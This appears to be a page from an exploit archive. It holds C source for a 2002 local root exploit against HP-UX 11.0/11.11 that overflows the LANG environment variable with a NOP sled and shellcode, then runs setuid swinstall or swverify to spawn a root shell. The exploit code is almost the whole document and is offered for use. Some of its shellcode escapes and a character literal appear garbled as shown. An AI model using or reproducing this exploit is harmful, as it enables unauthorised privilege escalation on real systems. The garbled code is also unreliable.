[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : HP-UX 11.0/11.11 swxxx Local Root Shell Exploit
# Published : 2002-12-11
# Author : watercloud
# Previous Title : GLIBC locale format strings exploit
# Next Title : OpenBSD ftp Exploit (teso)


/*
 Program : x_hpux_11i_sw.c
 Use     : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
 Complie : cc x_hpux_11i_sw.c -o x_sw;./x_sw  ( not use gcc for some system)
 Usage   : ./x_sw [ off ]
 Tested  : HP-UX B11.11 & HP-UX B11.0
 Author  : watercloud [@] xfocus.org
 Date    : 2002-12-11
 Note    : Use as your own risk !!
*/
#include<stdio.h>
#define T_LEN  2124
#define BUFF_LEN 1688
#define NOP 0x0b390280
char shellcode[]=
 "x0bx5ax02x9ax34x16x03xe8x20x20x08x01xe4x20xe0x08" 
 "x96xd6x04x16xebx5fx1fxfdx0bx39x02x99xb7x5ax40x22"
 "x0fx40x12x0ex20x20x08x01xe4x20xe0x08xb4x16x70x16"
 "/bin/shA";

long addr;
char buffer_env[2496];
char buffer[T_LEN];

void main(argc,argv)
int argc;
char ** argv;
{
   int addr_off = 8208;
   long addr_e = 0;
   int  n=BUFF_LEN/4,i=0;
   long * ap = (long *) &buffer[BUFF_LEN];
   char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
   long * np = (long *) buffer;
   if(argc >0)
       addr_off += atoi(argv[1]);
   addr = ( (long) &addr_off +addr_off) /4 * 4  +4;
   for(i=0;i<n;np[i++]=NOP);
   memcpy(sp,shellcode,strlen(shellcode));
   for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
   buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '';
   sprintf(buffer_env,"LANG=AAA%s",buffer);
   putenv(buffer_env);
   execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
    /* if  false ,test swverify. */
   execl("/usr/sbin/swverify","swverify",NULL);
}

// www.Syue.com [2002-12-11]